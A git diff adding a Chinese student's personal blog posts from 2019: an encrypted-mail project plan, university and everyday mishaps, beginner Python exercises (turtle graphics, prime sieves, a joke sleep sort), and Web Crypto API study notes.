在发送的时候,我们可以搞一个类似Mastodon的用户名,两个@实在是太蠢了,就和E-mail一样,就搞成user@example.com的形式吧
|
||||
在发送时客户端先检查对方服务器能否连接,如不能则测试通过服务器连接,如果服务器连接失败再使用其他节点连接(服务器内置),如果还是不行,用户可以自行输入节点,还是不行,投递失败。
|
||||
连接成功后对方服务器查询对应用户的公钥,返回给客户端,客户端用这个公钥加密AES密码,用AES密码加密内容,然后再传给对方服务器保存。
|
||||
查看邮件就用私钥解密AES密码,然后解密内容。
|
||||
|
||||
# 问题
|
||||
如果对方服务器被攻陷,公钥被改成攻击者的,那不就没用了吗?虽然可以用指纹解决,但是这对小白来说似乎有些困难……HTTPS用的是第三方权威解决这个问题,我们就没办法了……
|
||||
最大的问题是,什么时候开始动工?(笑)
|
23
_posts/2019-07-15-encmail.md
Normal file
23
_posts/2019-07-15-encmail.md
Normal file
@ -0,0 +1,23 @@
|
||||
---
|
||||
layout: post
|
||||
title: EncMail-Project Part 1 - 准备阶段
|
||||
tags: [分布式, 加密, 邮件, 计划]
|
||||
---
|
||||
|
||||
我是不会承认自己咕咕咕的!<!--more-->
|
||||
参照:[初计划](/2019/07/02/encmail.html)
|
||||
|
||||
# 准备的内容
|
||||
最终经过多方研究,我打算用[Web Crypto API](https://developer.mozilla.org/zh-CN/docs/Web/API/Web_Crypto_API)作为主要的实现方法。
|
||||
不过用这种API的兼容性并不怎么好……我的博客之所以用了各种各样的JS库也是为了兼容性 ~~(是不会写吧233333)~~
|
||||
其实主要原因是因为我在网上搜不到哪个JS库能生成密钥对……之前有看到过有一个名叫jsencrypt的库,可惜只能加解密,不能生成密钥对……
|
||||
说实话我从来都没有用过WebAPI,所以还得好好看看文档。但是这个破烂文档连例子都没有,这让人很难办,搜也搜不到有用的内容,而且我的英语并不算好,也不太习惯上[Stack Overflow](https://stackoverflow.com/) ~~(不行,我要把锅推给某国的网络审查)~~ 。正是如此,这个项目制作起来可能会相当花时间。
|
||||
另外界面我打算用MDUI,那个文档看起来还挺简单。本来我没打算做一个好看的页面,就像之前制作的[Iwara Downloader](/2019/04/13/iwara.html)一样,打算套个表格完事。但是既然这个UI看起来挺简单,那就试试这个吧,反正我也不考虑兼容性问题了,WebAPI都用上了,再加一个这个也不算什么吧。
|
||||
|
||||
# 对计划的补充
|
||||
计划的名称我打算命名为EncMail-Project ~~(看起来有点俗……)~~ ,不过这都不重要。
|
||||
关于登录方面,我后来又想了想,没有人会记私钥的,所以为了方便使用,我打算通过AES加密私钥,和公钥一起上传到服务器上保存。登录时把加密的私钥和被公钥加密的令牌下载下来,然后输入密码解密获得私钥并解密令牌。
|
||||
而之前想到的公钥被修改的问题,我想了想,那还是加上指纹吧(就是Hash啦),用SHA-256算法算出公钥的指纹,然后发送者在发送时自己对照一下就可以了(好像是`SubtleCrypto.digest()`?emmmm……这个文档没有翻译……)。
|
||||
另外为了安全,私钥我打算存到`sessionStorage`里,以减小私钥泄露的危险。
|
||||
|
||||
今天就先到这里吧!
|
16
_posts/2019-07-25-college.md
Normal file
16
_posts/2019-07-25-college.md
Normal file
@ -0,0 +1,16 @@
|
||||
---
|
||||
layout: post
|
||||
title: Mayx终于考上大学了
|
||||
tags: [Mayx, 大学]
|
||||
---
|
||||
|
||||
真是Amazing!<!--more-->
|
||||
|
||||
# Where am I?
|
||||
这次我考到成都了,考了一个网络工程专业 ~~(说不定就成装宽带的了23333(不过中国移动是真的垃圾,就是以后装宽带也不去移动))~~
|
||||
不过我看这个专业的以后当运维的比较多,那如果真是这样,以后每年的昨天(7月24日)就可以过节了23333
|
||||
|
||||
# How about it?
|
||||
考上了作为一个原三本的院校,其实也不能算很好,但是相比于[经常犯智障的我](/2019/05/30/exam.html),也算是一个不错的结果了。
|
||||
|
||||
总之,以后我应该就能了解更多关于网络方面的知识了。
|
20
_posts/2019-08-05-blilblil.md
Normal file
20
_posts/2019-08-05-blilblil.md
Normal file
@ -0,0 +1,20 @@
|
||||
---
|
||||
layout: post
|
||||
title: 记一次办理22卡的经历
|
||||
tags: [Mayx, 大学]
|
||||
---
|
||||
|
||||
我生气了!<!--more-->
|
||||
|
||||
# What happened?
|
||||
某天,Mayx正在使用Bilibili,手抖按到了一个广告上,看起来好像是办理Bilibili的2233和小电视卡的。Ta让我答了几道题之后把我的个人信息骗走了~~(还不是自己主动输进去的2333)~~
|
||||
之前我办过米粉卡,那个是真的不错,三个月流量不限,而且一分钱不花。我看这个卡貌似提到了免费,所以就办理了。
|
||||
过了一两天,中国联通给我打来了电话,让我带着身份证下楼办卡,我也没多想,就下去了。
|
||||
没两分钟,我就被骗走了50CNY(QAQ)
|
||||
原来所谓的免费只是首月免费,广告里可没提要多交钱啊!
|
||||
不过算了,既然已经办了,那就用吧,未来的五个月我可以随便看番了……这样想的你可真是大错特错,要知道免流卡用够40GB的流量就会限流,速度慢到看360p都会卡,我平时都看的是1080p的视频,看大概2小时就要用掉1GB的流量,一个月可不只有40个小时,我每天如果看四小时就要120小时,即60GB,那么之后的这几十个小时就只能看360p还卡的视频了……
|
||||
总的算下来就是每月10CNY不限流看Biliblil的视频,5个月以后我就把这张卡扔了吧。
|
||||
|
||||
# 感想
|
||||
~~不错,广告你赢了我一次,但总有一天你一定会后悔!~~(我的小米手机的广告已经被我铲除干净了)
|
||||
真希望有一天所有的广告用户都有关闭的权利!(VIP除外)
|
21
_posts/2019-08-17-memory.md
Normal file
21
_posts/2019-08-17-memory.md
Normal file
@ -0,0 +1,21 @@
|
||||
---
|
||||
layout: post
|
||||
title: 记一次悲惨的加装内存的事故
|
||||
tags: [悲惨, 事故, 内存]
|
||||
---
|
||||
|
||||
这……大概就是命运吧……QAQ<!--more-->
|
||||
|
||||
# 悲惨的开端
|
||||
因为学校要求使用8GiB运存的电脑(难不成是想用VS?),然后我的笔记本电脑只有4GiB。我考虑了一下,买一条内存条也不贵,于是我在某宝上买了一个和我笔记本电脑内存型号相同的内存条。
|
||||
在到货的前几分钟,我就开心的把电脑主板提前拆出来了,等我一拿到取件码,就去把内存条取了回来 ~~(顺便得到一堆泡泡纸,血赚23333)~~
|
||||
等我安好内存条,我试了试裸板开机,不错,看来至少主板没有被我搞坏,然后我连上键盘和显示器之后,BIOS也正确的读取到了内存条,看来是成功了。
|
||||
我这么边想着就边把电脑往回装,装着装着结果电池接口突然开始冒烟,吓得我立即把电池拔了,之后我继续装,总算是没看到更多异常情况。
|
||||
等我全部安装完成后电脑倒是也正常开机了,操作系统也成功的读取到了内存,而且是同一型号的内存条,应该也成功的组成了双通道吧,我试了试整体电脑的操作,倒是确实比之前流畅了一些。
|
||||
|
||||
# 噩梦开始
|
||||
过了几个小时之后,我发现电池灯还在显示充电状态,这时我慌了,我打开电脑发现充了半天电,电量没有一点点变化,又过了几个小时,电池灯开始不停的闪烁,看来是翻车了。后来我把电池又重新安装了一遍,但是貌似还是没有什么改变,但是把外接电源拔掉仍然可以正常使用,所以看来是充电芯片在之前冒烟的事故中灰飞烟灭了QAQ。
|
||||
|
||||
# 感想
|
||||
我自认为我安装的时候也没有什么可能会让电脑出现这种问题的操作啊……难不成是因为我先安装了电池的问题?也许电脑在插完所有其他线的时候不应该插电池线吧…… ~~总之,这就是命运吧……QAQ~~
|
||||
最近运气都不怎么好,希望这糟糕的运气不会影响我接下来科目二的考试……
|
18
_posts/2019-08-24-sth.md
Normal file
18
_posts/2019-08-24-sth.md
Normal file
@ -0,0 +1,18 @@
|
||||
---
|
||||
layout: post
|
||||
title: 假期总结
|
||||
tags: [假期, 总结]
|
||||
---
|
||||
|
||||
这个假期还真是碌碌无为啊……<!--more-->
|
||||
|
||||
# 这个假期做了什么?
|
||||
我感觉什么也没做,也许到了假期之后确实就会变成这样吧,在高考前我甚至都在兴致勃勃的学怎么写博客,[学MediaWiki API](/2019/05/27/wikipic.html),学PHP……但是一到了假期,反倒碌碌无为,什么也不想干……即使之前定了很多计划,到了假期却没有一点点干劲……
|
||||
大概这就是人吧,忙的时候想忙些闲事,闲的时候……就真闲了,没有一点干劲……
|
||||
但是吧,要说干了些什么,也不是没干,至少我把科目一和科目二过了,然后[给电脑加装内存条](/2019/08/17/memory.html)还给装坏了……拿去让维修电脑的修还没修好,要换主板……还好还能用,就勉强先这样用吧。
|
||||
另外还去献了个血,感觉献血对我也没什么太大伤害所以就去献了一下,不过第一次献血还是挺害怕的,尽管之前有在学校体检抽血的经验,但是毕竟还是会疼啊……不过过了几天之后就好了,针孔也不是很明显,顺便去网上查了一下血检结果,是一切正常,看起来不错。
|
||||
前几天我看到中国银行有办以天依为主题的借记卡 ~~(这都是3月份的活动了吧……)~~ ,于是就去申请了一张。但是我马上就要开学走了,也不知道能不能在我走之前送到我的手里……
|
||||
对了,这个假期我还在闲鱼上卖了些东西,一个是血亏价(60CNY)卖出去的4GiB DDR4的内存条(还包邮,就是说我只赚了48CNY😭),还有一个锤子T1(SM705)手机,那个买家事还挺多,200CNY买一个原价4000CNY的手机还觉得边角磕了碰了,然后为了惩罚我,还要让我等到10天后系统自动确认收货……在闲鱼上卖东西真是让人难受啊(T_T)
|
||||
|
||||
# 总结
|
||||
这个假期可算是把我玩废了,无论是身体还是心理……希望我作为人类能让我发挥这快速适应的能力,让我快速恢复到正常状态!
|
31
_posts/2019-09-20-start.md
Normal file
31
_posts/2019-09-20-start.md
Normal file
@ -0,0 +1,31 @@
|
||||
---
|
||||
layout: post
|
||||
title: 开学总结
|
||||
tags: [开学, 总结]
|
||||
---
|
||||
|
||||
假期结束不就是开学嘛……<!--more--> ~~(实在是没得水了么23333)~~
|
||||
|
||||
# 到学校之前的一些事
|
||||
我是通过自驾的方式去的学校,在途中去了不少地方,算是边旅游边去的学校吧。不过总的来说,旅游可真是累啊,虽然自驾游时间没那么紧张,但是为了尽可能在到学校之前多去一些景点,还是挺赶时间的。
|
||||
我在这次去了不少景点,有青木川、阆中、重庆、乐山和峨眉山。在旅游途中,最令人失望的地方是甘肃,在经过甘肃的时候,居然没有一条能直接穿过甘肃的高速,不走高速的话就只能走县道了,但是那个县道是真的烂,好多地方都是烂泥路,让人深深的感受到甘肃的贫困。
|
||||
到重庆之后可以深深的感受到作为山城的感觉,在重庆去哪里都要爬楼梯,而且作为山城,他们没有地上和地下之分,轨道交通有时候可以在地面之上行驶,有时候则是在山里面,甚至有时会[在房子里面穿行](https://www.bilibili.com/video/av66213433/)。不过重庆还是在建设中,所以还是有很多地方都在修路。
|
||||
另外在重庆发生了一点令我难受的小事,有一家很烂的冰激凌店涉及虚假宣传,而且店长会耍顾客,而且一个冰激凌相当贵,要二十多,但是东西只有一点点,这真的是极其垃圾的店, ~~我祝这位店长买菜必超级加倍,做事必被指指点点~~ ,我相信在这个市场中,对顾客不尊敬的商家,必然会遭到市场的报复!
|
||||
除此之外我在重庆我还坐了[长江索道](https://www.bilibili.com/video/av66083579/),这应该就是我在这次旅游中拍到的所有视频了。
|
||||
在峨眉山的时候也很惨,那里有相当多的蚊子,我不知道也没做防护措施,而且刚被叮也没什么感觉,结果后来整条腿就像是得了埃博拉一样满腿的包,而且可能南方的蚊子和北方不一样,叮完以后就会起水泡,抓破之后就会渗出液体,真的是令人难受啊……
|
||||
我在[上一篇博客](/2019/08/24/sth.html)中说我办了一张借记卡,不过地址貌似填的不完整,被驳回了,不过还好被驳回了,不然我就取不到那张卡了(我填的是家里的地址)。于是我在2019.9.1时重新申请了一下。
|
||||
最后,我在2019.9.4时成功的抵达了学校。
|
||||
|
||||
# 到学校后发生的事
|
||||
到学校之后也没发生特别多的事,不过在旅游的时候提前在QQ上加了一个舍友,所以到学校之后倒是也没糟糕到一句话也不说,但是最开始还是很糟糕的,基本上就算是说话也会让人感到尴尬。不过这应该是很正常的事情吧,我觉得应该很快这个问题就会被解决吧……但是事实上并不会,因为我的交往能力极其的差,表达和做事都很难与人在一个频道,这真的是让人很难受QAQ。
|
||||
在学校的说明上很明显的标出来不要相信某些来寝室的人的推销,可是我就是非要犯一下智障症,来表现一下我就是个智障23333。有一个来寝室卖公交卡的人说他卖的公交卡可以使用10年,然后坐车有一定的折扣,我没想它是一个骗子,而是想的是我需不需要公交卡,真的是太蠢了!我想通了我要公交卡之后我就立马付钱了!也没仔细看一下卡片,像我这样智障的人怕是给我一张纸片说这是公交卡我也信了吧!总之后来闲下来的时候我仔细看了看那张卡,结果上面写的是有效期两年,然后我去官网上把卡号输上去之后发现,这个卡已经没钱了,而且也过期了……这真是个耻辱啊,不过这也算是步入社会交的第一笔智商税吧……(也许以前交的我都忘了23333)
|
||||
报名之后就是军训了,算是开学第一课吧。
|
||||
|
||||
## 到学校之后的军训
|
||||
众所周知,到了大学是要军训的,不过我感受到我们学校的军训真的是太水了,根本不能和我高中时候的军训相比。不过我听到一位学长说,军训的强度和学校有关,像我们学校根本不跑早操,到后来基本上就是动两下就坐下休息了,但是他的学校貌似每天都要负重跑。不过学长的话只能信一半,具体情况怎么样我也不知道,但是我们学校军训是真的水,这个是毋庸置疑的。
|
||||
在军训前领服装的时候,我没太在意服装的尺码,结果选小了一号,然后在第一天就把迷彩裤搞坏了,结果军训的这十几天就只能穿破裤子军训了。虽然我个人并不在乎这个问题,不过同学还是会在乎的……QAQ
|
||||
总的来说,我感觉这次的军训还没之前旅游更辛苦。不过也可能和我们连什么也没干有关,有些连队是要参与表演的,所以可能会更辛苦吧。
|
||||
|
||||
## 其余的杂事
|
||||
在上面所说的借记卡过了将近一个月之后它终于发货了,我之前以为办银行卡和手机卡一样,今天申请,明天就能到,但是事实上不一样……它受理用了一周,审批又是一周,制卡还得4-5天,然后过了这么长时间才开始寄发,可能还得几天……真的是太难了……
|
||||
另外,我对大学生活还是挺有希望的,为此我也加入了一个社团和学生会,希望在后来的生活中,我能学到点有用的东西,而不是在这里水博客了。
|
83
_posts/2019-09-28-python.md
Normal file
83
_posts/2019-09-28-python.md
Normal file
@ -0,0 +1,83 @@
|
||||
---
|
||||
layout: post
|
||||
title: Python学习笔记 - Turtle
|
||||
tags: [Python, 学习笔记, Turtle, Logo, Tkinter]
|
||||
---
|
||||
|
||||
没想到我终有一天也得学Python了……<!--more-->
|
||||
|
||||
# 第一课!Turtle
|
||||
我以为我们老师会从Python的基本语法开始教起,不过事实证明我想错了,我们老师打算把我们当做小学生看,然后教 ~~Logo语言~~ 类似Logo语言的Python库,Turtle。
|
||||
Turtle貌似是基于Tkinter的库,Ubuntu上带的Python默认没有装Tkinter,结果我还得自己装一下……
|
||||
老师给我们布置了两个作业,一个是画一个心形,另外是画一个正方形。在开始之前,我也想的这个库就是个Logo语言,也没想着在网上看看这个东西支持什么方法,画正方形也很简单,就是向前向左……执行4遍。很快,我就用循环写出了这个东西:
|
||||
```python
|
||||
import turtle
|
||||
i=0
|
||||
while i<4 :
|
||||
turtle.forward(50)
|
||||
turtle.left(90)
|
||||
i=i+1
|
||||
```
|
||||
看着这段代码,让我回想起了我的小学时光 ~~(一段不堪回首的往事23333)~~ 既然能画出正方形,那么圆也很简单了,我们可以把圆看成一个无限多边形,那么画圆我们可以这样:
|
||||
```python
|
||||
import turtle
|
||||
i=0
|
||||
while i<360 :
|
||||
turtle.forward(2)
|
||||
turtle.left(1)
|
||||
i=i+1
|
||||
```
|
||||
画完圆之后我又打算画心形,不过老师布置的是在终端中显示心形,就像这样:
|
||||
```python
|
||||
print(""" ** **
|
||||
* * *
|
||||
* *
|
||||
* *
|
||||
*""")
|
||||
```
|
||||
不过这个感觉没什么意思,我想我可以试试在Turtle里画一个心形。在画之前,当然应该上网查一下Turtle还有什么用法,结果一查以后我就自闭了……画正多边形根本不用一步一步走,有一个叫做circle的方法可以直接实现,比如画正方形可以这样:
|
||||
```python
|
||||
import turtle
|
||||
turtle.right(45)
|
||||
turtle.circle(100,360,4)
|
||||
```
|
||||
……这可真是令人难受……不管了,我先画个心形吧,我捡起了我曾经的三角函数的知识,算了一下我要转的角度和长度,最终写出了这样的东西:
|
||||
```python
|
||||
import turtle
|
||||
turtle.color('red','red')
|
||||
turtle.filling()
|
||||
turtle.begin_fill()
|
||||
turtle.left(90)
|
||||
turtle.circle(50,180,180)
|
||||
turtle.left(30)
|
||||
turtle.forward(200)
|
||||
turtle.left(120)
|
||||
turtle.forward(200)
|
||||
turtle.left(30)
|
||||
turtle.circle(50,180,180)
|
||||
turtle.end_fill()
|
||||
input()
|
||||
```
|
||||
当然,我不知道心形的定义是什么,所以也不知道心形是怎么组成的,我想象的大概就是两个半圆和一对等腰拼出来的吧,不过最终画出来的心形是真的丑……
|
||||
最后我在网上又查了一下其他人写的,然后继续自闭……
|
||||
其他人的心形:
|
||||
```python
|
||||
from turtle import *
|
||||
def curvemove():
|
||||
for i in range(200):
|
||||
right(1)
|
||||
forward(1)
|
||||
color('red','pink')
|
||||
begin_fill()
|
||||
left(140)
|
||||
forward(111.65)
|
||||
curvemove()
|
||||
left(120)
|
||||
curvemove()
|
||||
forward(111.65)
|
||||
end_fill()
|
||||
done()
|
||||
```
|
||||
|
||||
# 总结
|
||||
虽然我不喜欢看文档,但是遇到新的东西还是查一下比较稳妥啊!
|
99
_posts/2019-10-21-python.md
Normal file
99
_posts/2019-10-21-python.md
Normal file
@ -0,0 +1,99 @@
|
||||
---
|
||||
layout: post
|
||||
title: Python学习笔记 - 求质数
|
||||
tags: [Python, 质数, 学习笔记]
|
||||
---
|
||||
|
||||
讲真,我酸了……<!--more-->
|
||||
|
||||
# 起因
|
||||
在学习Python的过程中,我和同学举行了一个比赛,大概内容是用Python做一个时间复杂度最低的质数生成器。
|
||||
在学校里就是有个好处,学校网络上知网下论文是免费的,我大概的查了一下,好像用埃氏筛法的效率比较高。
|
||||
以前我用Linux Shell也写过一个:
|
||||
```shell
|
||||
#!/system/bin/sh
|
||||
max=1000
|
||||
list="2"
|
||||
rlist="2"
|
||||
i=3
|
||||
while [ $i -lt $max ]
|
||||
do
|
||||
[ "$(
|
||||
echo "$list"|while read a
|
||||
do
|
||||
[ "$(($i%$a))" == "0" ]&&{
|
||||
echo "1"
|
||||
break 1
|
||||
}
|
||||
done
|
||||
)" == "1" ]||c=$i
|
||||
|
||||
[ "$bj" == "" -a "$c" != "" ]&&{
|
||||
[ "$((${c}*${c}))" -gt "$max" ]&&bj="1"
|
||||
}
|
||||
|
||||
[ "$c" == "" ]||{
|
||||
[ "$bj" == "1" ]||{
|
||||
list="$list
|
||||
$c"
|
||||
}
|
||||
echo "$c"
|
||||
}
|
||||
c=""
|
||||
i="$(($i+1))"
|
||||
done
|
||||
```
|
||||
不过效率极低……因为原生Shell是不支持数组之类的东西,所以其实并不能完全使用埃氏筛法……
|
||||
|
||||
# 使用Python做一个
|
||||
当然Python还是可以用的,于是我理解了一下,做了一个出来:
|
||||
```python
|
||||
maxprime=100000
|
||||
rprimeset=set(range(2,maxprime+1))
|
||||
lprimeset=set()
|
||||
lastprime=0
|
||||
while lastprime<=maxprime**0.5:
|
||||
lastprime=min(rprimeset)
|
||||
rprimeset=rprimeset-set(range(lastprime,maxprime+1,lastprime))
|
||||
lprimeset.add(lastprime)
|
||||
primelist=sorted(list(rprimeset|lprimeset))
|
||||
print(primelist)
|
||||
#print(primelist,file=open(__file__[:__file__.rfind("/")]+"/prime.txt",'w+'))
|
||||
```
|
||||
这个效率确实比Shell做的好太多了,而且看起来也清晰易懂。在我的电脑上,1000000的质数只需要4s就能算出来
|
||||
|
||||
# 结局
|
||||
不过我后来在某百科上查了一下他们用埃氏筛做的Python版本……然后我就酸了……他们的代码在我的电脑上只需要0.6s就能跑完1000000的质数……而且我估计他们的空间复杂度还比我小……
|
||||
```python
|
||||
# python 原生实现
|
||||
|
||||
def primes(n):
|
||||
P = []
|
||||
f = []
|
||||
for i in range(n+1):
|
||||
if i > 2 and i%2 == 0:
|
||||
f.append(1)
|
||||
else:
|
||||
f.append(0)
|
||||
i = 3
|
||||
while i*i <= n:
|
||||
if f[i] == 0:
|
||||
j = i*i
|
||||
while j <= n:
|
||||
f[j] = 1
|
||||
j += i+i
|
||||
i += 2
|
||||
|
||||
P.append(2)
|
||||
for x in range(3,n+1,2):
|
||||
if f[x] == 0:
|
||||
P.append(x)
|
||||
|
||||
return P
|
||||
|
||||
n = 1000000
|
||||
P = primes(n)
|
||||
print(P)
|
||||
```
|
||||
感觉好难受,每次在网上搜的代码都比我写的好……算了,反正我也是在学习嘛。
|
||||
后来我听说用欧拉筛法的效率更高……可惜我看完后不太理解……质数算法可真是复杂啊……
|
37
_posts/2019-11-01-python.md
Normal file
37
_posts/2019-11-01-python.md
Normal file
@ -0,0 +1,37 @@
|
||||
---
|
||||
layout: post
|
||||
title: Mayx应聘失败(Python版)
|
||||
tags: [应聘, Python, 面向时间]
|
||||
---
|
||||
|
||||
既然最近学了Python,那就去应聘一下Python程序员吧XD<!--more-->
|
||||
|
||||
[上次去面试运维失败了](/2019/01/27/shell.html),这次不能这么丢人了。
|
||||
然后那个面试官居然又让我写排序的程序23333
|
||||
|
||||
Mayx想了想,写出了以下代码:
|
||||
```python
|
||||
a=[1,2,3,5,4,9,10,8,5]
|
||||
import threading
|
||||
import time
|
||||
def counting(i):
|
||||
time.sleep(i)
|
||||
print(i)
|
||||
for i in a:
|
||||
threading.Thread(target=counting,args=(i,)).start()
|
||||
```
|
||||
执行效果:
|
||||
```
|
||||
1
|
||||
2
|
||||
3
|
||||
4
|
||||
5
|
||||
5
|
||||
8
|
||||
9
|
||||
10
|
||||
```
|
||||
然后,Mayx被赶出来了……
|
||||
我写的代码明明可以执行,效果也没问题,居然赶我出来,这一定是个垃圾公司!
|
||||
后来才知道,他们又想让我回答`sort()`,怕是同一家公司(笑)
|
16
_posts/2019-11-18-archive.md
Normal file
16
_posts/2019-11-18-archive.md
Normal file
@ -0,0 +1,16 @@
|
||||
---
|
||||
layout: post
|
||||
title: Bug Forever!
|
||||
tags: [Github, Archive]
|
||||
---
|
||||
Github 太强了!<!--more-->
|
||||
|
||||
# [GitHub Archive Program](https://archiveprogram.github.com/)
|
||||
前几天,Github搞了一个神奇的计划,大概内容是把Github上所有的公有仓库保存到北极。据说他们会将 ~~(BUG)~~ 这些仓库保存千年😝,另外这个计划将在2020年2月2日开始。
|
||||
我感觉这个计划很有意思啊,其实当时我在选择在哪里存博客的时候有考虑过博客存储的稳定性。同样,我也不相信有哪一个网站或者是公司能永久的存活。不过这个想法只是在社会层面,并没有考虑人类在这个地球生存的问题。
|
||||
当时我的想法是如果能写一个脚本,它会自动的找到所有可用的免费主机,然后自动注册,把自己上传上去。然后那个主机也有运行这个脚本的能力,所有的脚本都会每隔一段时间运行,这样就可以保证它能永久的存在于这个世界了。
|
||||
不过Github的这个项目更加夸张,因为所有现在的存储设备都不算稳定。像SSD因为是通过电容存储,存在漏电的问题,所以可能只能保证5-10年的存储。寿命更长的HDD是通过磁性材料存储,根据熵增定律,磁性存储的东西终将变得混乱,所以HDD大概能保证100年左右数据不损坏,另外HDD中的磁片保存要求也很严格,所以损坏的可能性更高。想想好像还是光盘比较稳定。也许作为有机物的塑料会比较容易分解,但是如果用玻璃制作那就基本上可以永久存储了吧。不过想想圆形的光盘果然还是太占用空间了,所以Github使用长方形的胶片存储相比光盘可能有更好的存储密度吧。毕竟这个计划并不在意读取是否方便,而是更在意它能保证能长时间存储的前提下存储的东西更多。这个计划还真是有意思。
|
||||
# 千年以后
|
||||
千年之后,我觉得我应该是活不到那个时候了,尽管有的时候我可能会犯中二病,但是现实是残酷的。如果说Github能保存我的博客直到千年以后,那也是很不错的事情了。想想我在一年前转载的[那篇文章](/2018/03/26/neko.html),尽管事情后来并没有证明,但是人没了,博客还在这种事情还是令人感觉有些悲伤的。不过对我来说,果然还是希望自己写的东西能一直保存下来😁,每个人写的东西都带有他的思想,所以如果作品能一直留存下来,也算是一种永生了吧😂。不过即使这样也是只读的了,只有其他人能看到我的信息,而我不能看到未来的世界……
|
||||
|
||||
总而言之,这个计划还是挺有意思的,这时候再吹一波Github,Github太强了!
|
67
_posts/2019-11-21-enc.md
Normal file
67
_posts/2019-11-21-enc.md
Normal file
@ -0,0 +1,67 @@
|
||||
---
|
||||
layout: post
|
||||
title: Web Crypto Api学习笔记
|
||||
tags: [学习笔记, Web Crypto Api]
|
||||
---
|
||||
感觉要爆炸了……<!--more-->
|
||||
|
||||
# 学习前
|
||||
在四个月前,我作了[制作分布式加密邮件系统的计划](/2019/07/02/encmail.html),不过现在来看,这怕是得变成五年计划了……
|
||||
Javascript是真的垃圾,搞一堆对象,各种各样的对象让人无言以对,不过也可能因为我以前用的是Linux Shell语言,那个语言在我学了Python之后还是感觉很舒服,因为它不用管变量类型,Bash之类的解析器会把它们一律看作字符串,遇到要运算的部分才会转换为数字。除此之外,它连接字符串是什么都不用加,不需要考虑变量是什么类型,只要解析器能分辨变量,它就能正常工作,也不需要什么强制转换之类乱七八糟的东西,而且它更没有什么乱七八糟的对象之类的概念。 ~~(跑题了:-P)~~
|
||||
不过浏览器只支持Javascript语言……没办法,看来只能动用我的Copy&Paste大法了。不过国内用Web Crypto Api的人好少,找了半天也没有什么示例可以Copy……没办法,那我只好去抄[官方示例](https://mdn.github.io/dom-examples/web-crypto/)了……
|
||||
|
||||
# 学习过程
|
||||
我在大学中也加了那么一个社团/协会,在社团办公室里虽然没人能帮助我学习Javascript,不过那里有多余的屏幕!然后我就体验了一下双屏幕工作的感觉,那个感觉还是挺不错的(也可能是我的屏幕分辨率太低了,是1366x768的垃圾屏幕……)一个屏幕打代码,另一个看网页效果,还是挺不错的,至少不用不停的切换窗口了。
|
||||
看着示例代码,我感觉真是要爆炸了,各种奇葩的对象,像什么ArrayBuffer还是什么Uint8Array啥的,还有一堆乱七八糟要求的格式,密码长度还必须是16的倍数?而且还有什么初始向量iv……真的是一言难尽……
|
||||
不过我还是发挥了作为辣鸡程序员的特长——Copy&Paste大法,最终可算是拼凑出了一个看起来勉强能用的代码……
|
||||
|
||||
# 辣鸡代码
|
||||
```js
|
||||
function getByteLen(val) {
|
||||
var len = 0;
|
||||
for (var i = 0; i < val.length; i++) {
|
||||
if (val[i].match(/[^\x00-\xff]/ig) != null) len += 3;
|
||||
else len += 1;
|
||||
}
|
||||
return len;
|
||||
}
|
||||
function importSecretKey(rawKey) {
|
||||
return window.crypto.subtle.importKey(
|
||||
"raw",
|
||||
rawKey,
|
||||
"AES-GCM",
|
||||
true,
|
||||
["encrypt", "decrypt"]
|
||||
);
|
||||
}
|
||||
async function encryptMessage(key) {
|
||||
iv = window.crypto.getRandomValues(new Uint8Array(12));
|
||||
ciphertext = await window.crypto.subtle.encrypt(
|
||||
{
|
||||
name: "AES-GCM",
|
||||
iv: iv
|
||||
},
|
||||
key,
|
||||
encoded
|
||||
);
|
||||
|
||||
console.log(ciphertext)
|
||||
}
|
||||
let secretKey;
|
||||
const enc = new TextEncoder();
|
||||
keyword="Mayx"
|
||||
while (getByteLen(keyword) % 16 != 0) {
|
||||
keyword = keyword + "\0";
|
||||
}
|
||||
const rawKey = enc.encode(keyword);
|
||||
|
||||
const encoded = enc.encode("Mayx is Good");
|
||||
(async () => {
|
||||
secretKey = await importSecretKey(rawKey);
|
||||
encryptMessage(secretKey);
|
||||
})();
|
||||
|
||||
```
|
||||
|
||||
# 感想
|
||||
路漫漫其修远兮,吾将上下而求索,我还是要继续加油啊!
|
28
_posts/2019-12-04-abuse.md
Normal file
28
_posts/2019-12-04-abuse.md
Normal file
@ -0,0 +1,28 @@
|
||||
---
|
||||
layout: post
|
||||
title: 废人的研究
|
||||
tags: [废人, 研究]
|
||||
---
|
||||
我是废人吗?……不,我是研究者!<!--more-->~~(没有意义的解释23333)~~
|
||||
|
||||
# Part1.Are we real?
|
||||
你是真实的吗?如果你玩过VR就会感觉到现实与虚拟世界的差距,感受到差距的你很开心,因为你觉得现实世界无可替代,虚拟的世界永远是虚拟的。
|
||||
然而虚拟与现实之间的差距就仅仅是延迟而已,之所以现实这么美好就是因为现在的科技还做不到那么低的延迟。
|
||||
我要怎样证明这一点呢?很简单,既然科技的延迟下不来,那就提高自己感受的延迟吧。怎么做?去熬夜吧,熬夜会影响到神经信号的传输,这样就可以提高延迟而感受到这不真实的世界。
|
||||
~~(洗白熬夜23333)~~
|
||||
|
||||
# Part2.How to denoise
|
||||
熬夜都熬过了,精神一定很不好吧?这时候来点外部的喧闹让人崩溃一下不过分吧?
|
||||
怎么可能?现在怕是想毁灭世界的心都有了吧?不过我们不能真的毁灭世界,甚至连改变都不可以,那么我们怎么消除这个噪声呢?
|
||||
降噪耳机?耳塞?太low了,那些东西平时戴上又不舒服,而且也不便宜。那么怎么做呢?
|
||||
很简单,人感受到令人心烦的噪音其实不是声音有多大,也不是随机的声音,而是大脑不由自主处理的声音,比如人声。
|
||||
在没睡好的情况下听到人讲话真的会很烦,但是毕竟我还要在这个社会生存,总不能把人都消灭吧?何况我也没有这个能力。
|
||||
那么我们就可以通过干扰人声的方式来解决这个问题,播放更大的噪声压过他的声音吧!如果他要是敢反抗,正好可以让他闭嘴,而如果不行,那就继续,只要大脑不再处理人声,就不会那么难受了。
|
||||
|
||||
# Part3.How to anti sound record
|
||||
说到噪音降噪,我就回想起 ~~(251?)~~ 反录音了,反录音的原理好像和这个类似,就是通过放一些人听不到的噪音来干扰录音设备。因为录音设备是可以记录人听不见的声音,所以就会被干扰。
|
||||
不过人听不到的声音机器在回放的时候按理来说那些听不到的声音应该还是听不到啊,那反录音是怎么做的?真的是难以理解,既然人能听到,那么就相当于人把它记录了,那么机器应该同样能正常的记录吧?真的是难以理解……
|
||||
|
||||
# Part4.Summary
|
||||
跑题了 ~~(正说废人呢!)~~ ……总之,熬夜带来的问题还是挺多的,只是某些问题 ~~(都是些闲事)~~所迫,不得不……emmmm……总之如果能早点睡觉就好了。
|
||||
